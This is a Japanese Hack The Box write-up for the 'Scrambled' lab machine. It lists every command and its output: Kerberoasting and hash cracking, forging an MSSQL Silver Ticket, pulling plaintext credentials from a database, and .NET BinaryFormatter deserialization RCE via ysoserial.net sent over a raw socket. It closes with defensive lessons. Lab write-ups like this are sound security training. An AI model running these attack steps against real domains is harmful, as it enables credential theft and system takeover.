Hack The BoxのWriteup(Scrambled)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Scrambled — 全実行コマンド・実行結果レポート
Nmap スキャン
AD + MSSQL + 4411独自プロトコル
→
Webヒント
ksimpson:ksimpson
→
Kerberoast
sqlsvc:Pegasus60
→
Silver Ticket
MSSQLSvc 偽造
→
ScrambleHR DB
MiscSvc:ScrambledEggs9900
→
BinaryFormatter RCE
Order Service 4411
→
SYSTEM
user.txt + root.txt ✓

ポートスキャンとドメイン情報

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.74.29
nmap -sV -sC -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389 10.129.74.29
RESULT
53/tcp   open  domain
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Active Directory LDAP (Domain: scrm.local)
445/tcp  open  microsoft-ds  SMB signing required / NTLM 無効
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
4411/tcp open  unknown       SCRAMBLECORP_ORDERS_V1.0.3
5985/tcp open  wsman
9389/tcp open  adws
🚨
ドメインは scrm.local、DC は DC1.scrm.local。445/SMBでNTLMが無効化されている ため、以降の全操作は Kerberos 前提で進める必要がある。さらに 4411/tcp に自作のバナー SCRAMBLECORP_ORDERS_V1.0.3 を返す独自プロトコルサービスが稼働しており、 マシン名「Scrambled」の由来となる最終的な RCE 経路になる。
BASH
echo '10.129.74.29 scrm.local DC1.scrm.local' | sudo tee -a /etc/hosts

Webサイトのヒント

BASH
curl -s http://10.129.74.29/support.html
curl -s http://10.129.74.29/passwords.html
curl -s http://10.129.74.29/salesorders.html
RESULT
support.html     : NTLM authentication disabled (SMB/HTTP 認証に関する社内通知)
passwords.html   : password resets default to username (パスワードリセットはユーザー名と同一になる)
salesorders.html : sales order app はデバッグログ出力が有効 (ScrambleDebugLog)
ℹ️
passwords.html の「初期パスワードはユーザー名と同じ」というヒントから、 LDAP列挙等で見つかる一般ユーザー ksimpson について ksimpson:ksimpson を試す着想が得られる。
PHASE 2

初期認証 (ksimpson:ksimpson)

ksimpson の資格情報確認と TGT 取得

BASH
impacket-getTGT scrm.local/ksimpson:ksimpson -dc-ip 10.129.74.29
KRB5CCNAME=ksimpson.ccache nxc smb DC1.scrm.local -u ksimpson -p ksimpson -k --shares
RESULT
[+] scrm.local\ksimpson:ksimpson (Kerberos TGT 取得成功)
Readable shares: IPC$, NETLOGON, Public, SYSVOL
✅
「パスワードリセット=ユーザー名」のパターンが的中。NTLM無効のため以降も -k -no-pass(Kerberosチケット使用・パスワードレス)で統一する。
PHASE 3

Kerberoast → MSSQL Silver Ticket

Kerberoasting で sqlsvc を取得

BASH
KRB5CCNAME=ksimpson.ccache impacket-GetUserSPNs -k -no-pass \
  -dc-ip 10.129.74.29 -dc-host DC1.scrm.local scrm.local/ksimpson -request
RESULT
ServicePrincipalName          Name     MemberOf
MSSQLSvc/dc1.scrm.local:1433   sqlsvc   ...
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$...   (TGS-REPハッシュ)
BASH
hashcat -m 13100 sqlsvc.tgs /usr/share/wordlists/rockyou.txt --show
RESULT
$krb5tgs$23$...:Pegasus60
✅
sqlsvc:Pegasus60 を取得。SPN が MSSQLSvc/dc1.scrm.local:1433 であることから、MSSQL サービスアカウントだと分かる。

MSSQLSvc 向け Silver Ticket の偽造

NTLM が無効なため MSSQL へのログインも Kerberos 前提。sqlsvc の NTハッシュと ドメインSIDさえ分かれば、Golden/Silver Ticket の要領で MSSQLSvc/dc1.scrm.local:1433 に対する任意ユーザー(administrator)へのサービスチケットを自前で偽造できる。

BASH
impacket-getPac -targetUser administrator scrm.local/sqlsvc:Pegasus60
# → Domain SID: S-1-5-21-2743207045-1827831105-2542523200

printf 'Pegasus60' | iconv -f UTF-8 -t UTF-16LE | openssl dgst -md4
# → NT hash: b999a16500b87d17ec7f2e2a68778f05

impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 \
  -domain-sid S-1-5-21-2743207045-1827831105-2542523200 \
  -domain scrm.local -spn MSSQLSvc/dc1.scrm.local administrator
RESULT
administrator.ccache が MSSQLSvc/dc1.scrm.local 向けに生成された
ℹ️
Silver Ticket はこの1つの SPN に対してのみ有効(Golden Ticket と違いドメイン全体には効かない)が、 MSSQL への administrator 偽装ログインには十分。
PHASE 4

ScrambleHR DB の資格情報窃取 & .NET バイナリ解析

MSSQL へ Silver Ticket でログインし ScrambleHR を調査

BASH
KRB5CCNAME=administrator.ccache impacket-mssqlclient -k -no-pass dc1.scrm.local \
  -dc-ip 10.129.74.29 -windows-auth

SQL> SELECT name FROM sys.databases;
SQL> USE ScrambleHR;
SQL> SELECT LdapUser,LdapPwd,LdapDomain,RefreshInterval,IncludeGroups FROM UserImport;
RESULT
LdapUser   LdapPwd              LdapDomain   RefreshInterval   IncludeGroups
MiscSvc    ScrambledEggs9900   scrm.local   90                0
✅
ScrambleHR アプリが LDAP 同期用に使っているサービスアカウントの平文資格情報 MiscSvc:ScrambledEggs9900 をデータベースから直接取得。

IT 共有から Sales Order Client を取得

BASH
impacket-getTGT scrm.local/MiscSvc:ScrambledEggs9900 -dc-ip 10.129.74.29

faketime '+13 minutes 6 seconds' env KRB5CCNAME=MiscSvc.ccache \
  impacket-smbclient -k -no-pass -dc-ip 10.129.74.29 -target-ip 10.129.74.29 DC1.scrm.local
# use IT
# cd Apps
# cd "Sales Order Client"
# get ScrambleClient.exe
# get ScrambleLib.dll
RESULT
ScrambleClient.exe : PE32 .NET (Mono) assembly
ScrambleLib.dll    : PE32 .NET (Mono) assembly
⚠️
Kerberosクロックスキューの罠: Kali とターゲットの時刻差が約13分あり、 Kerberos チケットの時刻検証(既定5分の許容誤差)に引っかかって認証が失敗する。 faketime '+13 minutes 6 seconds' で Kerberos 関連コマンドだけをラップして回避する (システム全体の時刻同期は本検証環境ではツール呼び出しの間に巻き戻るため不安定で使えない)。

DLL 逆アセンブルで脆弱な deserialize を発見

BASH
ikdasm ScrambleLib.dll | grep -n "BinaryFormatter\|SerializeToBase64\|DeserializeFromBase64\|UPLOAD_ORDER\|scrmdev"
RESULT
SalesOrder::SerializeToBase64    uses BinaryFormatter.Serialize
SalesOrder::DeserializeFromBase64 uses BinaryFormatter.Deserialize
ScrambleNetRequest code: UPLOAD_ORDER
ScrambleNetClient.Logon: username "scrmdev" triggers client-side developer bypass
🚨
2つの重大な設計欠陥が判明:
(1) scrmdev というユーザー名でログインするとクライアント側だけで ログイン成功扱いになり、サーバーへ実際の認証リクエストを一切送らない(開発者用バックドア)。
(2) サーバー側の UPLOAD_ORDER 処理は受け取ったデータを BinaryFormatter.Deserialize に直接渡す — 既知の .NET デシリアライズ RCE 脆弱性。
この2つを組み合わせると、正規クライアントを経由せず TCP ソケットで直接 UPLOAD_ORDER;<悪意Base64ペイロード> を送るだけで認証不要の RCEが成立する。
PHASE 5

ysoserial.net ペイロードで Order Service (4411) を RCE

動作確認用ペイロードで RCE を検証

BASH
wine ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
  -c "whoami > C:\Shares\Public\ysotest.txt" > ysotest_tcd.b64

python3 - <<'EOF'
import socket
data = open("ysotest_tcd.b64").read().strip()
msg = f"UPLOAD_ORDER;{data}\n".encode()
s = socket.create_connection(("10.129.74.29", 4411), timeout=20)
print(s.recv(4096).decode(errors="ignore"))   # banner
s.sendall(msg)
print(s.recv(4096).decode(errors="ignore"))   # response
EOF
RESULT
SCRAMBLECORP_ORDERS_V1.0.3;
ERROR_GENERAL;Unable to cast SortedSet<String> to ScrambleLib.SalesOrder
BASH (SMB経由で結果確認)
faketime '+13 minutes 6 seconds' env KRB5CCNAME=MiscSvc.ccache \
  impacket-smbclient -k -no-pass -dc-ip 10.129.74.29 -target-ip 10.129.74.29 DC1.scrm.local
# use Public
# get ysotest.txt
type ysotest.txt
RESULT
Public\ysotest.txt:
nt authority\system
✅
サーバー側は ERROR_GENERAL(ガジェットのキャスト失敗)を返すが、 これは deserialize ガジェットの型変換エラーに過ぎず、ペイロード自体(コマンド実行)は 既にその前の段階で発火済み。 Public 共有に書き出された ysotest.txt の中身が nt authority\system であることから、Order Service は SYSTEM 権限で 動作しておりコマンド実行が成功していることが確認できる。
PHASE 6

user.txt / root.txt の取得

SYSTEM ペイロードで両フラグを Public 共有へコピー

BASH
wine ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
  -c "type C:\Users\MiscSvc\Desktop\user.txt > C:\Shares\Public\user.txt & type C:\Users\Administrator\Desktop\root.txt > C:\Shares\Public\root.txt" \
  > flags_tcd.b64

# 4411/TCP へ UPLOAD_ORDER;<flags_tcd.b64の中身> を送信(5-1と同じソケット送信方式)
RESULT
Public share:
-rw-rw-rw-  34  user.txt
-rw-rw-rw-  34  root.txt

SMB からフラグを回収

BASH
faketime '+13 minutes 6 seconds' env KRB5CCNAME=MiscSvc.ccache \
  impacket-smbclient -k -no-pass -dc-ip 10.129.74.29 -target-ip 10.129.74.29 DC1.scrm.local
# use Public
# get user.txt
# get root.txt
RESULT
user.txt : 5eb5317bece75619a25ed232ea687d4e
root.txt : c1b67f87c405099cb4855c5076d5299e
user.txt — MiscSvc
5eb5317bece75619a25ed232ea687d4e
root.txt — Administrator (SYSTEM権限のOrder Service経由)
c1b67f87c405099cb4855c5076d5299e
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — MiscSvc
5eb5317bece75619a25ed232ea687d4e
root.txt — Administrator
c1b67f87c405099cb4855c5076d5299e

使用した脆弱性・設計不備

脆弱性/不備対象影響深刻度利用方法
初期パスワード=ユーザー名 ksimpson アカウント 初期資格情報の取得 Medium passwords.html のヒントから ksimpson:ksimpson が成立
Kerberoasting MSSQLSvc/dc1.scrm.local:1433 (sqlsvc) サービスアカウント資格情報窃取 High GetUserSPNsでTGS-REPハッシュ取得、hashcat -m 13100でPegasus60にクラック
Silver Ticket 偽造 MSSQLSvc サービス administrator としてMSSQLへなりすまし High sqlsvcのNTハッシュ+ドメインSIDからimpacket-ticketerでサービスチケット偽造
認証バイパス + BinaryFormatter RCE ScrambleLib.dll の Order Service (4411/tcp) 無認証でのSYSTEM権限リモートコード実行 Critical “scrmdev”ログインのクライアント側バイパス(サーバーに認証要求が飛ばない)を突き、ysoserial.net製BinaryFormatterペイロードをUPLOAD_ORDERで直接送信

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート + IISページ閲覧scrm.local AD、MSSQL、独自プロトコル(4411)検出
2初期認証パスワードリセットのヒントから推測ksimpson:ksimpson の Kerberos TGT
3横展開Kerberoast + Silver Ticket偽造sqlsvc:Pegasus60 → administrator としてMSSQLログイン
4資格情報窃取ScrambleHR.UserImport テーブル読取MiscSvc:ScrambledEggs9900
5バイナリ解析ikdasm(.NET逆アセンブル)BinaryFormatter RCE + scrmdevバイパスの発見
6RCE/フラグ取得ysoserial.net + 生ソケット送信user.txt / root.txt(SYSTEM権限で取得)

学んだ教訓 & 防御策

問題点防御策
パスワードリセットの既定値がユーザー名と同一 初回ログイン時の強制パスワード変更を徹底し、推測可能な既定値を使わない。
サービスアカウントのパスワードが辞書に載る強度で、Kerberoast耐性が無い サービスアカウントには25文字以上のランダムパスワード、または gMSA を使用する。
アプリケーションDB(ScrambleHR)に他システム連携用の平文資格情報を保存 資格情報はVault等のシークレット管理システムで一元管理し、DBへの平文保存を避ける。
カスタムプロトコル(Order Service)に「開発者ログインバイパス」が残存 本番コードに開発者用バックドア/バイパスを残さない。リリース前のコードレビューで確実に除去する。
.NET の BinaryFormatter で信頼できない入力をデシリアライズ BinaryFormatter は Microsoft 公式に非推奨・危険とされており使用しない。System.Text.Json 等の型安全なシリアライザへ移行する。
HackTheBox: Scrambled | 完全攻略レポート